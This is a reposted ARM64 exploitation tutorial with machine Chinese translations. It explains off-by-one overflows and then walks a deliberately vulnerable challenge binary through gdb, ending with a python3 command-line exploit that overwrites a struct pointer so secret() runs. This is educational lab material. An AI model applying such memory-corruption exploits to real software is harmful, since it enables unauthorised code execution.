ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

IoT 3个月前 admin
38 0 0

Hello everyone! In this blog post, we will dive into a new vulnerability called off by one byte overflow . But before we get into the details, there are a few things you need to have in place.
大家好!在这篇博文中,我们将深入探讨一个由一个字节溢出调用的新漏洞。但在我们进入细节之前,您需要准备好一些东西。

  • Familiarity with ARM64 assembly instructions.
    熟悉 ARM64 组装说明。

  • Familiarity with exploiting stack-based buffer overflow.
    熟悉如何利用基于堆栈的缓冲区溢出。

  • ARM64 environment with gef and gdb server.
    具有 gef 和 gdb 服务器的 ARM64 环境。

  • Ability to read and understand C code.
    能够阅读和理解 C 代码。

If you are new here, we recommend trying out our complete ARM64 Exploitation series.
如果您是新手,我们建议您尝试我们完整的 ARM64 开发系列。

Introduction 介绍

Let’s discuss the off by one byte vulnerability.
让我们讨论一下 off by one byte 漏洞。

As the name suggests, “off by one byte” refers to a specific type of overflow that occurs when only a single byte of data overflows. This can happen due to mistakes in how software handles data boundaries, especially with regard to arrays, strings, or other data structures. Such overflows can occur in both reading and writing data. You might be wondering how a single byte could cause significant damage. Let’s explore an example to find out.
顾名思义,“偏离一个字节”是指当只有一个字节的数据溢出时发生的特定类型的溢出。这可能是由于软件处理数据边界的方式错误造成的,尤其是在数组、字符串或其他数据结构方面。在读取和写入数据时都可能发生此类溢出。您可能想知道单个字节如何造成重大损害。让我们探索一个例子来找出答案。

#include <stdio.h>

int main() {
  char buffer[10];
  for (int i = 0; i <= 10; i++) {
    buffer[i] = 'a';
  }

  printf("The contents of the buffer are: %s\n", buffer);

  return 0;
}

Looking at the above program at first glance, we see that it is a normal program. Let’s see what happens when we compile and execute it.
乍一看上面的程序,我们看出这是一个普通的程序。让我们看看当我们编译和执行它时会发生什么。

8ksec@debian:~/lab/challenges/off_by_one$ gcc off.c -o off
8ksec@debian:~/lab/challenges/off_by_one$ ./off
The contents of the buffer are: aaaaaaaaaaa

Did you find find the bug ?
你找到找到错误了吗?

The bug is in the loop. The program has a 10-byte buffer, but the loop counter is incremented to write 11 bytes to the buffer, overwriting the null byte. Since the buffer starts at index 0 and has a size of 10 bytes, the loop condition should be i < 10 to prevent exceeding the buffer’s bounds.
该错误在循环中。该程序有一个 10 字节的缓冲区,但循环计数器递增以将 11 个字节写入缓冲区,从而覆盖空字节。由于缓冲区从索引 0 开始,大小为 10 字节,因此循环条件应防止 i < 10 超出缓冲区的边界。

for (int i = 0; i < 10; i++) {
  buffer[i] = 'a';
}

Let’s see an another example.
让我们再看一个例子。

#include <stdio.h>

void main(){

  char s[5] = "Hello";
  for (int i =0 ;i <= 5; i++){
  printf("%c",s[i]);
  }
  printf("\n");


}

This is also similar to the previous example, but in this case its a read. In the loop, the printf()is reading out of bounds.
这也与前面的示例类似,但在本例中,它是 read .在循环中,读取 printf() 越界。

Let’s compile and see what this outputs.
让我们编译一下,看看它输出了什么。

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

As we can see, after printing ‘Hello,’ we encounter a strange non-printable character. This is because printf() reads one more byte than it should from its index.
正如我们所看到的,在打印“你好”之后,我们遇到了一个奇怪的不可打印的字符。这是因为从其索引 printf() 中读取的字节比它应该多一个字节。

Challenge 挑战

Let’s consider the below c code.
让我们考虑下面的 c 代码。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

struct B2{
    int (*ptr)();
    char c[128];
};

struct B1{
    char data[16];
    struct B2 *myStruct;
    char data2[128];
};

void secret(){

printf("Game 0ver! You win :P\n");

}

void function(){
    printf("Everything is fine.\n");
}

int main(int argc, char *argv[]){

    printf("\033[1mWelcome to ROPLevel7 by @bellis1000!\nThis level involves exploiting an off-by-one vulnerability.\n\n\x1b[0m");

    if (argc < 3){
        printf("Usage: %s <data> <block_data>\n",argv[0]);
        exit(0);
    }

    struct B1 *s = malloc(256);
    s->myStruct = malloc(256);

    s->myStruct->ptr = function;
    strncpy(s->myStruct->c,argv[2],126);
    strncpy(s->data2,argv[2],126);

    // this is where the off-by-one bug occurs
    for (int i = 0; i <= 16; i++){
        if (argv[1][i] != 0){
            s->data[i] = argv[1][i];
        }else{
            break;
        }
    }

    // call function pointer
    s->myStruct->ptr();

    return 0;
}

You can get this source code from here
你可以从这里获得这个源代码
.

Analyzing this source code, we can see there are two structs B1 and B2
分析这个源代码,我们可以看到有两个结构体 B1 和 B2
.

struct B2{
    int (*ptr)();
    char c[128];
};

The struct B1 has a struct pointer to B2 .
该结构 B1 具有指向 B2 的结构指针。

struct B1 *s = malloc(256);
s->myStruct = malloc(256);
s->myStruct->ptr = function;
strncpy(s->myStruct->c,argv[2],126);
strncpy(s->data2,argv[2],126);
  • Memory is allocated for a structure of type B1, and additional memory is allocated for B2 pointed to by myStruct
    内存是为 类型的 B1 结构分配的,而额外的内存是为 B2 指向的 myStruct
    .

  • A function pointer in the struct B2 pointed to by s->myStruct is set to point to a function named function
    指向的 s->myStruct 函数指针设置为 struct B2 指向名为 function
    .

  • Using strncpy, the code copies up to 126 characters from the command line argument argv[2] into the buffer cof the struct B2.

  • Additionally, it copies up to 126 characters from argv[2] into the bufferdata2 of the struct B1 pointed to by s.

// this is where the off-by-one bug occurs
for (int i = 0; i <= 16; i++){
    if (argv[1][i] != 0){
        s->data[i] = argv[1][i];
    }else{
        break;
    }
}

This is where the main vulnerability occurs. As we saw above, the loop iterates 17 times, thereby copying 17 characters into the data buffer. This will cause an overflow, and the overflown byte will overwrite the least significant byte in the B2 struct pointer.
这是主要漏洞发生的地方。如上所述,循环迭代 17 次,从而将 17 个字符复制到数据缓冲区中。这将导致溢出,溢出的字节将覆盖 B2 结构指针中最低有效字节。

Look at rough diagrams below.
请看下面的粗略图表。

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

This is before the loop.
这是在循环之前。

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

After the loop, the last byte of the address is overwritten by the overflowed byte.
循环后,地址的最后一个字节被溢出的字节覆盖。

Let’s compile and run this code.
让我们编译并运行这段代码。

gcc off-by-one.c -o off-by-one -no-pie
8ksec@debian:~/lab/challenges/off_by_one$ ./off-by-one
Welcome to ROPLevel7 by @bellis1000!
This level involves exploiting an off-by-one vulnerability.

Usage: ./off-by-one <data> <block_data>
8ksec@debian:~/lab/challenges/off_by_one$

We have to provide two arguments. Let’s do that.
我们必须提供两个论据。让我们开始吧。

8ksec@debian:~/lab/challenges/off_by_one$ ./off-by-one AAAA AAAA
Welcome to ROPLevel7 by @bellis1000!
This level involves exploiting an off-by-one vulnerability.

Everything is fine.

Let’s provide a large input for both arguments.
让我们为这两个参数提供一个大的输入。

8ksec@debian:~/lab/challenges/off_by_one$ ./off-by-one AAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA
Welcome to ROPLevel7 by @bellis1000!
This level involves exploiting an off-by-one vulnerability.

Segmentation fault
8ksec@debian:~/lab/challenges/off_by_one$

Ahh the program crashed. So let’s inspect what happened using gdb.

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

Disassembling the main() function, we can see two calls to the strncpy function.

struct B1 *s = malloc(256);
s->myStruct = malloc(256);
s->myStruct->ptr = function;
strncpy(s->myStruct->c,argv[2],126);
strncpy(s->data2,argv[2],126);

Here, strncpy copies 126 bytes to the buffer in structure B1 and also copies the same to the data2 buffer in the B2 structure.
在这里, strncpy 将 126 个字节复制到结构中的缓冲区,并将相同的字节复制到 B2 结构 B1 中的 data2 缓冲区。

Let’s put a breakpoint in each of these strncpy and inspect that locations.
让我们在每个位置中放置一个断点 strncpy 并检查该位置。

gef➤  b *0x0000000000400864
Breakpoint 1 at 0x400864
gef➤  b *0x0000000000400888
Breakpoint 2 at 0x400888

Run the binary inside gdb with our arguments.
使用我们的参数在 gdb 中运行二进制文件。

gef➤  r AAAAAAA AAAAAAAA

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

The first breakpoint is hit. Let’s step over this call using ni. The x0 register will contain the address of the destination buffer.

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

We can examine this memory location using the x command.

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

We can see our A‘s at 0x4217c8, and before that, we can see an address. This is actually our pointer to the function called function() that prints “Everything is fine”.
我们可以看到我们的 A ‘ at 0x4217c8 ,在此之前,我们可以看到一个地址。这实际上是我们指向名为“Everything is fine”的 function() 函数的指针。

struct B2{
    int (*ptr)();
    char c[128];
};

If you do a disassembly of that address we can confirm that.
如果您对该地址进行反汇编,我们可以确认这一点。

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

Let’s continue our program.

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

We hit the second breakpoint. Let’s step over this call and inspect the memory in x0 register.
我们遇到了第二个断点。让我们单步执行此调用并检查寄存器中的 x0 内存。

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

We can see our block of “A”s again, and before that, we can see a memory address. The address 0x00000000004217c0 points to the start of the B2 struct, which has the pointer to the function() that prints “Everything is fine.”
我们可以再次看到我们的“A”块,在此之前,我们可以看到一个内存地址。该地址 0x00000000004217c0 指向结构的开头,该 B2 结构具有指向打印“一切都很好”的 function() 指针。

struct B1{
    char data[16];
    struct B2 *myStruct;
    char data2[128];
};

After this, we can see our disassembly of our loop.
在此之后,我们可以看到我们对循环的拆解。

// this is where the off-by-one bug occurs
for (int i = 0; i <= 16; i++){
    if (argv[1][i] != 0){
        s->data[i] = argv[1][i];
    }else{
        break;
    }
}

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

Now put a break point after the loop and see what happened to our struct.

gef➤  b *0x00000000004008f8
Breakpoint 3 at 0x4008f8
gef➤

Let’s continue using the c command.

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

The breakpoint has been hit. So, in the loop, the program copied the first block of “A”s we sent as our first input again to the char data[16]; buffer.
已命中断点。因此,在循环中,程序将我们作为第一个输入发送的第一个“A”块再次复制到 char data[16]; 缓冲区。

Let’s examine the memory.
让我们检查一下内存。

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

At 0x4216b0, we can see our copied “A”s. Now, if we continue the program, it will call the function() and exit normally.

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

Let’s see what will happen when we provide a large blocks of “A”s.

gef➤    r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Put a breakpoint at the end of the loop and continue the until it completes the loop.

gef➤  b *0x00000000004008f8

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

Let’s examine the memory.
让我们检查一下内存。

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

We can observe that the loop overwrote the least significant byte of the address pointing to the start of struct B2. The address 0x0000000000421741 now points to zeroes. If we continue the execution, the program will likely crash because, at the end of the program, it attempts to call the function()that now points to a different location that doesn’t contain a valid memory address.

s->myStruct->ptr();

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

The program crashed as expected.
程序按预期崩溃。

Exploitation 开发

In this challenge, we need to call the secret() method. The way to do this is to start by inserting 17 “A”s to trigger the off-by-one vulnerability. Next, send a large block of input as the second argument and place the address of the secret() function at the location pointed to by the modified structure pointer.
在这个挑战中,我们需要调用该 secret() 方法。执行此操作的方法是首先插入 17 个“A”来触发差 1 漏洞。接下来,发送一大块输入作为第二个参数,并将 secret() 函数的地址放在修改后的结构指针指向的位置。

Let’s do that but we first we need to find the offset to place the address of secret. We can find that by sending a offset pattern.
让我们这样做,但我们首先需要找到偏移量来放置 secret 的地址。我们可以通过发送偏移模式来找到这一点。

https://wiremask.eu/tools/buffer-overflow-pattern-generator/

Let’s generate a pattern and send this to the program.
让我们生成一个模式并将其发送到程序。

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

Load the program inside gdb and put a breakpoint after the loop just like we did before.
将程序加载到 gdb 中,并在循环后放置一个断点,就像我们之前所做的那样。

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

Start the program by passing 17 “A”s (or more) and the pattern we generated.

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

Now we are one instruction past our breakpoint. Let’s inspect the memory region. The struct will be in the same address as before as it’s running inside gdb.
现在,我们已过了断点的一条指令。让我们检查一下内存区域。该结构将位于与之前相同的地址中,因为它在 gdb 中运行。

Let’s examine the memory.
让我们检查一下内存。

gef➤  x/50gx 0x00000000004216c8

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

At 0x421738+8, we can observe our pattern, although it’s only overwriting 6 bytes. This is acceptable because we only require four bytes for our address. Let’s attempt to determine the offset at 0x421738
在 0x421738+8 ,我们可以观察到我们的模式,尽管它只覆盖了 6 个字节。这是可以接受的,因为我们的地址只需要四个字节。让我们尝试确定 0x421738
.

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

It’s 112. So it would be 120 (112+8) for 0x421740. Let’s start crafting our final exploit.
是 112。因此,它将是 120 (112+8) 对于 0x421740 。让我们开始制作我们的最终漏洞。

First, send 17 or more ‘A’s as the first argument, followed by 120 junk characters and the address of the secret() function.
首先,发送 17 个或更多“A”作为第一个参数,然后是 120 个垃圾字符和 secret() 函数地址。

ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

As there’s no PIE enabled, the address remains the same.
由于未启用 PIE,因此地址保持不变。

So let’s try it. We can use python to construct this.
所以让我们试试吧。我们可以使用 python 来构造它。

./off-by-one $(python3 -c "print('A' * 17)") $(python3 -c 'print("A" * 120 + "\x84\x07\x40")')
ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

And here we go, we executed the secret() function.
到这里,我们执行了 secret() 函数。

 

原文始发于8ksecresearch:ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability

版权声明:admin 发表于 2023年11月23日 下午10:29。
转载请注明:ARM64 Reversing And Exploitation Part 9 – Exploiting An Off By One Overflow Vulnerability | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...